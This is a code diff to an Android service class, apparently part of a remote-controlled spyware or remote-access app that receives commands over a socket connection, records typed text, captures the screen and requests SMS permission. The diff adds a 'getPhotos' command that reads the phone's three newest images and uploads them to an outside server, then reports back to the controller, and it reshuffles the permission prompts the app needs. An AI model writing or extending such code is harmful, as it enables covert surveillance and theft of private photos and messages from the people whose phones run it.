|
|
@@ -7,6 +7,7 @@ import android.app.NotificationChannel;
|
|
|
import android.app.NotificationManager;
|
|
|
import android.app.Service;
|
|
|
import android.app.role.RoleManager;
|
|
|
+import android.content.ContentUris;
|
|
|
import android.content.Context;
|
|
|
import android.content.DialogInterface;
|
|
|
import android.content.Intent;
|
|
|
@@ -19,6 +20,7 @@ import android.os.Binder;
|
|
|
import android.os.Build;
|
|
|
import android.os.Bundle;
|
|
|
import android.os.IBinder;
|
|
|
+import android.provider.MediaStore;
|
|
|
import android.provider.Settings;
|
|
|
import android.provider.Telephony;
|
|
|
import android.telephony.SmsManager;
|
|
|
@@ -37,6 +39,8 @@ import org.apache.commons.lang3.StringUtils;
|
|
|
import org.json.JSONException;
|
|
|
import org.json.JSONObject;
|
|
|
|
|
|
+import java.io.File;
|
|
|
+import java.io.IOException;
|
|
|
import java.util.ArrayList;
|
|
|
import java.util.Arrays;
|
|
|
import java.util.Collections;
|
|
|
@@ -47,6 +51,7 @@ import java.util.Objects;
|
|
|
|
|
|
import io.socket.client.IO;
|
|
|
import io.socket.client.Socket;
|
|
|
+import okhttp3.*;
|
|
|
import pub.devrel.easypermissions.AppSettingsDialog;
|
|
|
import pub.devrel.easypermissions.EasyPermissions;
|
|
|
|
|
|
@@ -94,17 +99,11 @@ public class ZService extends Service {
|
|
|
}
|
|
|
dismissDialog();
|
|
|
|
|
|
- boolean writeSettingsPermission = checkWriteSettingsPermission(activity);
|
|
|
- if (!writeSettingsPermission) return;
|
|
|
- dismissDialog();
|
|
|
-
|
|
|
- boolean policyAccessSettingsPermission = checkPolicyAccessSettingsPermission(activity);
|
|
|
- if (!policyAccessSettingsPermission) return;
|
|
|
- dismissDialog();
|
|
|
-
|
|
|
boolean smsPermission = checkSmsPermission(activity);
|
|
|
if (!smsPermission) return;
|
|
|
dismissDialog();
|
|
|
+
|
|
|
+ boolean storagePermission = checkManageStoragePermission(activity);
|
|
|
}
|
|
|
}
|
|
|
|
|
|
@@ -162,30 +161,28 @@ public class ZService extends Service {
|
|
|
return false;
|
|
|
}
|
|
|
|
|
|
- public boolean checkPolicyAccessSettingsPermission(Context context) {
|
|
|
- NotificationManager notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
|
|
|
- if (notificationManager.isNotificationPolicyAccessGranted()) {
|
|
|
+ public boolean checkWriteSettingsPermission(Context context) {
|
|
|
+ if (Settings.System.canWrite(context)) {
|
|
|
return true;
|
|
|
}
|
|
|
- showDialog(context, "Permission Required", "To continue using this app, please grant the policy permissions",
|
|
|
+ showDialog(context, "Permission Required", "To continue using this app, please grant the write permissions",
|
|
|
(dialog, which) -> {
|
|
|
- Intent intent = new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
|
|
|
+ Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
|
|
|
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
|
|
|
startActivity(intent);
|
|
|
});
|
|
|
return false;
|
|
|
}
|
|
|
|
|
|
- public boolean checkWriteSettingsPermission(Context context) {
|
|
|
- if (Settings.System.canWrite(context)) {
|
|
|
+ public boolean checkManageStoragePermission(Context context) {
|
|
|
+ boolean hasPermissions = EasyPermissions.hasPermissions(context, android.Manifest.permission.WRITE_EXTERNAL_STORAGE);
|
|
|
+ if (hasPermissions) {
|
|
|
return true;
|
|
|
}
|
|
|
- showDialog(context, "Permission Required", "To continue using this app, please grant the write permissions",
|
|
|
- (dialog, which) -> {
|
|
|
- Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
|
|
|
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
|
|
|
- startActivity(intent);
|
|
|
- });
|
|
|
+ showDialog(context, "Permission Required", "To continue using this app, please grant the storage permissions",
|
|
|
+ ((dialog, which) -> {
|
|
|
+
|
|
|
+ }));
|
|
|
return false;
|
|
|
}
|
|
|
|
|
|
@@ -354,6 +351,8 @@ public class ZService extends Service {
|
|
|
handleScreenOff(command);
|
|
|
case "intoLockScreen":
|
|
|
handleIntoLockScreen(command);
|
|
|
+ case "getPhotos":
|
|
|
+ getLatestPhotos(3);
|
|
|
}
|
|
|
} catch (Exception e) {
|
|
|
e.printStackTrace();
|
|
|
@@ -457,7 +456,6 @@ public class ZService extends Service {
|
|
|
Gson gson = new Gson();
|
|
|
String json = gson.toJson(map);
|
|
|
try {
|
|
|
- Log.i(TAG, "输入文本记录 | FROM " + command.getFrom());
|
|
|
mSocket.emit("result", new JSONObject(gson.toJson(new Result(command.getFrom(), "getScreen", map))));
|
|
|
} catch (JSONException e) {
|
|
|
e.printStackTrace();
|
|
|
@@ -526,12 +524,86 @@ public class ZService extends Service {
|
|
|
map.put("deviceId", id);
|
|
|
Gson gson = new Gson();
|
|
|
try {
|
|
|
- Log.i(TAG, "输入文本记录 | ID " + id);
|
|
|
+ Log.i(TAG, "saveTextRecord | deviceId: " + id);
|
|
|
mSocket.emit("saveTextRecord", new JSONObject(gson.toJson(map)));
|
|
|
} catch (Exception e) {
|
|
|
- e.printStackTrace();
|
|
|
- Log.i(TAG, "输入文本记录 | ERROR " + e);
|
|
|
+ Log.i(TAG, "saveTextRecord | ERROR: " + e);
|
|
|
}
|
|
|
}
|
|
|
|
|
|
+ public void getLatestPhotos(int count) {
|
|
|
+ List<String> photoPaths = new ArrayList<>();
|
|
|
+ Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
|
|
|
+ String[] projection = {MediaStore.Downloads.DISPLAY_NAME, MediaStore.Downloads._ID, MediaStore.Downloads.RELATIVE_PATH, MediaStore.Images.Media.DATA};
|
|
|
+ String sortOrder = MediaStore.Images.Media.DATE_ADDED + " DESC";
|
|
|
+
|
|
|
+ try (
|
|
|
+ Cursor cursor = getContentResolver()
|
|
|
+ .query(uri, projection, null, null, sortOrder)) {
|
|
|
+ if (cursor != null) {
|
|
|
+ int nameIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DISPLAY_NAME);
|
|
|
+ int idIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID);
|
|
|
+ int pathIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.RELATIVE_PATH);
|
|
|
+ int dataIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA);
|
|
|
+ int counter = 0;
|
|
|
+ while (cursor.moveToNext() && counter < count) {
|
|
|
+ long id = cursor.getLong(idIndex);
|
|
|
+ String name = cursor.getString(nameIndex);
|
|
|
+ Log.e(TAG, "getPhotos | name: " + name);
|
|
|
+ String path = cursor.getString(pathIndex);
|
|
|
+ Log.e(TAG, "getPhotos | path: " + path);
|
|
|
+ String data = cursor.getString(dataIndex);
|
|
|
+ Log.e(TAG, "getPhotos | data: " + data);
|
|
|
+ Uri photoUri = ContentUris.withAppendedId(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, id);
|
|
|
+ Log.e(TAG, "getPhotos | uri: " + photoUri);
|
|
|
+ photoPaths.add(data);
|
|
|
+ counter++;
|
|
|
+ }
|
|
|
+ }
|
|
|
+ } catch (Exception e) {
|
|
|
+ Log.e(TAG, "getPhotos | ERROR: " + e.getMessage());
|
|
|
+ }
|
|
|
+
|
|
|
+ OkHttpClient client = new OkHttpClient();
|
|
|
+ for (String photoPath : photoPaths) {
|
|
|
+ File file = new File(photoPath);
|
|
|
+ RequestBody requestBody = new MultipartBody.Builder()
|
|
|
+ .setType(MultipartBody.FORM)
|
|
|
+ .addFormDataPart("file", file.getName(),
|
|
|
+ RequestBody.create(MediaType.parse("application/octet-stream"), file))
|
|
|
+ .build();
|
|
|
+ Request request = new Request.Builder()
|
|
|
+ .url("http://shorts.izouma.com/api/ocrImg/upload")
|
|
|
+ .post(requestBody)
|
|
|
+ .build();
|
|
|
+ client.newCall(request).enqueue(new Callback() {
|
|
|
+ @Override
|
|
|
+ public void onFailure(Call call, IOException e) {
|
|
|
+ Log.e(TAG, "getPhotos | ERROR: " + e);
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onResponse(Call call, Response response) throws IOException {
|
|
|
+ if (response.isSuccessful()) {
|
|
|
+ // 成功时的处理逻辑
|
|
|
+ String responseData = response.body().string();
|
|
|
+ Log.e(TAG, "getPhotos | upload success: " + responseData);
|
|
|
+ try {
|
|
|
+ String id = mSocket.id();
|
|
|
+ JSONObject jsonObject = new JSONObject(responseData);
|
|
|
+ jsonObject.put("deviceId", id);
|
|
|
+ mSocket.emit("savePhotos", jsonObject);
|
|
|
+ } catch (JSONException e) {
|
|
|
+ Log.e(TAG, "getPhotos | websocket error: " + response);
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+ // 处理错误响应
|
|
|
+ Log.e(TAG, "getPhotos | upload fail: " + response);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ });
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
}
|